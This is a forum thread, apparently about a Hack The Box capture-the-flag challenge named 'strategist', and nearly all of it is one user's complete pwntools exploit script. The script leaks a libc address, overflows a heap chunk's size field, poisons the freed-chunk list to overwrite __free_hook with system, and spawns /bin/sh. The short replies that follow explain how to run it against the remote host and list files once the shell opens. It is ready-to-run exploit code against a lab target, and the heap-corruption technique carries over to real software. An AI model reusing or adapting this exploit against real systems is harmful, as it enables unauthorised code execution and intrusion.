Mar 25, 2025, 08:19 PM
(Mar 25, 2025, 07:42 PM)HTBContestant Wrote:(Mar 25, 2025, 07:26 PM)adyadam Wrote:(Mar 25, 2025, 04:17 PM)nigletasd Wrote: from pwn import *
elf = ELF("./strategist")
context.binary = elf
#context.terminal = ['tmux', 'splitw', '-hp', '70']
libc = ELF("./glibc/libc.so.6")
ld = ELF("./glibc/ld-linux-x86-64.so.2")
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): log.info(name+" = %#x" % val)
def start():
if args.REMOTE:
return remote("ip",port)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
p = start()
pause()
def newRecvall(_t=10):
data = b""
while True:
try:
chunk = p.recv(timeout=_t)
if not chunk:
break
data += chunk
except EOFError:
break
log.info(hexdump(data))
return data
def newSendline(send):
log.info(b'SENDING: ' + send)
log.info(hexdump(send))
p.sendline(send)
def newRecvuntilAndSendline(until, send, _t=10):
data = b""
while True:
try:
chunk = p.recv(timeout=_t)
if not chunk:
break
data += chunk
if until in data:
break
except EOFError:
break
log.info(hexdump(data))
newSendline(send)
def newSend(send):
log.info(b'SENDING: ' + send)
log.info(hexdump(send))
p.send(send)
def newRecvuntilAndSend(until, send, _t=10):
data = b""
while True:
try:
chunk = p.recv(timeout=_t)
if not chunk:
break
data += chunk
if until in data:
break
except EOFError:
break
log.info(hexdump(data))
newSend(send)
def predict_heap_size(requested_bytes):
overhead = 16 # bytes for bookkeeping metadata
alignment = 16 # alignment requirement
total_size = requested_bytes + overhead
if total_size % alignment == 0:
aligned_size = total_size
else:
aligned_size = ((total_size // alignment) + 1) * alignment
header_value = aligned_size | 1
return header_value
log.info(hex(predict_heap_size(57)))
# step 1: leak libc
# create 1st plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'1280')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'A'*1279)
# create 2nd plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'32')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'B'*31)
# delete 1st plan
newRecvuntilAndSendline(b'> ', b'4')
newRecvuntilAndSendline(b'Which plan you want to delete?', b'0')
# recreate 1st plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'1280')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'C'*8)
# show 1st plan
newRecvuntilAndSendline(b'> ', b'2')
newRecvuntilAndSendline(b'Which plan you want to view?', b'0', _t=5)
libc_addr_leak = int.from_bytes(newRecvall(_t=5)[0x36:0x3c], byteorder='little')
log.info(b'libc_addr_leak: ')
log.info(hex(libc_addr_leak))
libc.address = libc_addr_leak - 0x3EBC0A
log.info(b'libc.address: ')
log.info(hex(libc.address))
free_hook = libc.sym['__free_hook']
log.info(b'free_hook: ')
log.info(hex(free_hook))
system_addr = libc.sym['system']
log.info(b'system_addr: ')
log.info(hex(system_addr))
pause()
# step 2: create 3rd,4th,5th
# create 3rd plan
newSendline(b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'40')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'D'*39)
pause()
# create 4th plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'57')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'E'*56)
pause()
# create 5th plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'40')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'F'*39)
pause()
# edit 3rd plan to overflow to 4th plan's metadata (size)
newRecvuntilAndSendline(b'> ', b'3')
newRecvuntilAndSendline(b'Which plan you want to change?', b'2')
newRecvuntilAndSend(b'Please elaborate on your new plan.', b'G'*40 + b'\x61')
pause()
# delete 5th plan
newRecvuntilAndSendline(b'> ', b'4')
newRecvuntilAndSendline(b'Which plan you want to delete?', b'4')
pause()
# delete 4th plan
newRecvuntilAndSendline(b'> ', b'4')
newRecvuntilAndSendline(b'Which plan you want to delete?', b'3')
# recreate 4th plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'88')
newRecvuntilAndSend(b'Please elaborate on your plan.', b'H'*80 + p64(free_hook))
pause()
# create 7th plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'40')
newRecvuntilAndSendline(b'Please elaborate on your plan.', b'X'*8)
pause()
# create 7th plan
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'40')
newRecvuntilAndSendline(b'Please elaborate on your plan.', p64(system_addr))
pause()
newRecvuntilAndSendline(b'> ', b'1')
newRecvuntilAndSendline(b'How long will be your plan?', b'40')
newRecvuntilAndSend(b'Please elaborate on your plan.', b'/bin/sh\0')
pause()
newRecvuntilAndSendline(b'> ', b'4')
newRecvuntilAndSendline(b'Which plan you want to delete?', b'6')
p.interactive()
strategist code
I tried it but I don't get any flag
Have you entered your IP and port? Did you run the remote part? Have you clicked through until interactive mode? Have you tried 'ls'?
Sorry my bad. I haven't realized I need to type shell commands
